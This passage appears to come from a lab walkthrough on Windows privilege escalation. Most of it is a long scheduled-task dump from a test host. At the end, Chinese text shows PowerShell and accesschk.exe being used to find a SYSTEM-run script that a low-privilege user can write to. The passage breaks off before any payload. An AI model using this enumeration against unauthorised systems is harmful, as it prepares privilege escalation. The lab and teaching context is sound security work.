Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\SpacePort\SpaceAgentTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: %windir%\system32\SpaceAgent.exe
Start In: N/A
Comment: Storage Spaces Settings
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 06:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\SpacePort\SpaceManagerTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: $(@%SystemRoot%\system32\spaceman.exe,-2)
Task To Run: %windir%\system32\spaceman.exe /Work
Start In: N/A
Comment: $(@%SystemRoot%\system32\spaceman.exe,-3)
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: At system start up
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\SpacePort\SpaceManagerTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: $(@%SystemRoot%\system32\spaceman.exe,-2)
Task To Run: %windir%\system32\spaceman.exe /Work
Start In: N/A
Comment: $(@%SystemRoot%\system32\spaceman.exe,-3)
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Speech
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Speech\HeadsetButtonPress
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: %windir%\system32\speech_onecore\common\SpeechRuntime.exe StartedFromTask
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Storage Tiers Management
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Storage Tiers Management\Storage Tiers Management Initialization
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Initializes the Storage Tiers Management service when the first tiered storage space is detected on the system. Do not remove or modify this task.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Storage Tiers Management\Storage Tiers Optimization
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: %windir%\system32\defrag.exe -c -h -g -# -m 8 -i 13500
Start In: N/A
Comment: Optimizes the placement of data in storage tiers on all tiered storage spaces in the system.
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Hourly
Start Time: 1:00:00 AM
Start Date: 1/1/2013
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 4 Hour(s), 0 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
Folder: \Microsoft\Windows\Task Manager
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Task Manager\Interactive
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Runs a task as the interactive user.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\TextServicesFramework
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\TextServicesFramework\MsCtfMonitor
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:22:24 AM
Last Result: 0
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: TextServicesFramework monitor task
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: Users
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Time Synchronization
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Time Synchronization\ForceSynchronizeTime
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: This task performs time synchronization.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: LOCAL SERVICE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Time Synchronization\SynchronizeTime
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:21 PM
Last Result: 1056
Author: Microsoft Corporation
Task To Run: %windir%\system32\sc.exe start w32time task_started
Start In: N/A
Comment: Maintains date and time synchronization on all clients and servers in the network. If this service is stopped, date and time synchronization will be unavailable. If this service is disabled, any services that explicitly depend on it will fail to start.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: LOCAL SERVICE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Time Zone
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Time Zone\SynchronizeTimeZone
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:19 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\tzsync.exe
Start In: N/A
Comment: Updates timezone information. If this task is stopped, local time may not be accurate for some time zones.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 01:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\UPnP
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\UPnP\UPnPHostConfig
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft
Task To Run: sc.exe config upnphost start= auto
Start In: N/A
Comment: Set UPnPHost service to Auto-Start
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\WDI
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\WDI\ResolutionHost
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: The Windows Diagnostic Infrastructure Resolution host enables interactive resolutions for system problems detected by the Diagnostic Policy Service. It is triggered when necessary by the Diagnostic Policy Service in the appropriate user session. If the
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Windows Defender
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:22 PM
Last Result: 2
Author: N/A
Task To Run: C:\Program Files\Windows Defender\MpCmdRun.exe -IdleTask -TaskName WdCacheMaintenance
Start In: N/A
Comment: Periodic maintenance task.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Windows Defender\Windows Defender Cleanup
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:17:53 AM
Last Result: 2
Author: N/A
Task To Run: C:\Program Files\Windows Defender\MpCmdRun.exe -IdleTask -TaskName WdCleanup
Start In: N/A
Comment: Periodic cleanup task.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan
Next Run Time: 4/2/2023 4:30:23 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:18 PM
Last Result: 2
Author: N/A
Task To Run: C:\Program Files\Windows Defender\MpCmdRun.exe Scan -ScheduleJob -ScanTrigger 55
Start In: N/A
Comment: Periodic scan task.
Scheduled Task State: Enabled
Idle Time: Only Start If Idle for 1 minutes, If Not Idle Retry For 240 minutes
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 4:30:23 AM
Start Date: 1/1/2000
End Date: 1/1/2100
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Windows Defender\Windows Defender Verification
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:17:53 AM
Last Result: 2
Author: N/A
Task To Run: C:\Program Files\Windows Defender\MpCmdRun.exe -IdleTask -TaskName WdVerification
Start In: N/A
Comment: Periodic verification task.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Windows Error Reporting
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Windows Error Reporting\QueueReporting
Next Run Time: 4/2/2023 3:32:42 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:20:51 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\wermgr.exe -upload
Start In: N/A
Comment: Windows Error Reporting task to process queued reports.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 04:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At system start up
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Windows Error Reporting\QueueReporting
Next Run Time: 4/2/2023 3:33:23 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:20:51 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\wermgr.exe -upload
Start In: N/A
Comment: Windows Error Reporting task to process queued reports.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 04:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Windows Error Reporting\QueueReporting
Next Run Time: 4/2/2023 3:52:38 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:20:51 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\wermgr.exe -upload
Start In: N/A
Comment: Windows Error Reporting task to process queued reports.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 04:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Windows Error Reporting\QueueReporting
Next Run Time: 4/2/2023 3:38:19 AM
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:20:51 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\wermgr.exe -upload
Start In: N/A
Comment: Windows Error Reporting task to process queued reports.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 04:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Minute
Start Time: 5:00:00 PM
Start Date: 12/31/2014
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 0 Hour(s), 30 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
Folder: \Microsoft\Windows\Windows Filtering Platform
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Windows Filtering Platform\BfeOnServiceStartTypeChange
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: %windir%\system32\rundll32.exe bfe.dll,BfeOnServiceStartTypeChange
Start In: N/A
Comment: This task adjusts the start type for firewall-triggered services when the start type of the Base Filtering Engine (BFE) is disabled.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Windows Media Sharing
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Windows Media Sharing\UpdateLibrary
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: "%ProgramFiles%\Windows Media Player\wmpnscfg.exe"
Start In: N/A
Comment: This task updates the cached list of folders and the security permissions on any new files in a user's shared media library.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: Authenticated Users
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\WindowsColorSystem
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\WindowsColorSystem\Calibration Loader
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:22:24 AM
Last Result: -2147467259
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: This task applies color calibration settings.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: Users
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\WindowsColorSystem\Calibration Loader
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:22:24 AM
Last Result: -2147467259
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: This task applies color calibration settings.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: Users
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\WindowsUpdate
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\WindowsUpdate\Scheduled Start
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 12:35:11 PM
Last Result: 1056
Author: Microsoft Corporation.
Task To Run: C:\Windows\system32\sc.exe start wuauserv
Start In: N/A
Comment: This task is used to start the Windows Update service when needed to perform scheduled operations such as scans.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only
Start Time: 12:11:54 PM
Start Date: 8/19/2020
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\WindowsUpdate\Scheduled Start
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 12:35:11 PM
Last Result: 1056
Author: Microsoft Corporation.
Task To Run: C:\Windows\system32\sc.exe start wuauserv
Start In: N/A
Comment: This task is used to start the Windows Update service when needed to perform scheduled operations such as scans.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\WindowsUpdate\Scheduled Start
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 12:35:11 PM
Last Result: 1056
Author: Microsoft Corporation.
Task To Run: C:\Windows\system32\sc.exe start wuauserv
Start In: N/A
Comment: This task is used to start the Windows Update service when needed to perform scheduled operations such as scans.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\WindowsUpdate\Scheduled Start
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 12:35:11 PM
Last Result: 1056
Author: Microsoft Corporation.
Task To Run: C:\Windows\system32\sc.exe start wuauserv
Start In: N/A
Comment: This task is used to start the Windows Update service when needed to perform scheduled operations such as scans.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Wininet
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Wininet\CacheTask
Next Run Time: N/A
Status: Running
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:22:24 AM
Last Result: 267009
Author: Microsoft
Task To Run: COM handler
Start In: N/A
Comment: Wininet Cache Task
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: Users
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Workplace Join
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Workplace Join\Automatic-Device-Join
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: %SystemRoot%\System32\dsregcmd.exe $(Arg0) $(Arg1) $(Arg2)
Start In: N/A
Comment: Register this computer if the computer is already joined to an Active Directory domain.
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:05:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Workplace Join\Automatic-Device-Join
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: %SystemRoot%\System32\dsregcmd.exe $(Arg0) $(Arg1) $(Arg2)
Start In: N/A
Comment: Register this computer if the computer is already joined to an Active Directory domain.
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:05:00
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Workplace Join\Recovery-Check
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: %SystemRoot%\System32\dsregcmd.exe /checkrecovery
Start In: N/A
Comment: Performs recovery check.
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management:
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 02:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
C:\Users\user\Desktop>在PowerShell中：
Get-ScheduledTask | where {$_.TaskPath -notlike "\\Microsoft*"} | ft TaskName,TaskPath,State
一般我们必须依赖于其他条件，例如找到一个脚本或日志文件来指示正在运行计划任务。
实操
经寻找发现目标机器上有个脚本似乎每分钟都以 SYSTEM 身份运行。
可以使用accesschk.exe检查本脚本权限。
C:\\PrivEsc\\accesschk.exe /accepteula -quvw user C:\\DevTools\\CleanUp.ps1
运行结果
C:\\Users\\user\\Desktop>C:\\PrivEsc\\accesschk.exe /accepteula -quvw user C:\\DevTools\\CleanUp.ps1
C:\\PrivEsc\\accesschk.exe /accepteula -quvw user C:\\DevTools\\CleanUp.ps1
RW C:\\DevTools\\CleanUp.ps1
FILE_ADD_FILE
FILE_ADD_SUBDIRECTORY
FILE_APPEND_DATA
FILE_EXECUTE
FILE_LIST_DIRECTORY
FILE_READ_ATTRIBUTES
FILE_READ_DATA
FILE_READ_EA
FILE_TRAVERSE
FILE_WRITE_ATTRIBUTES
FILE_WRITE_DATA
FILE_WRITE_EA
DELETE
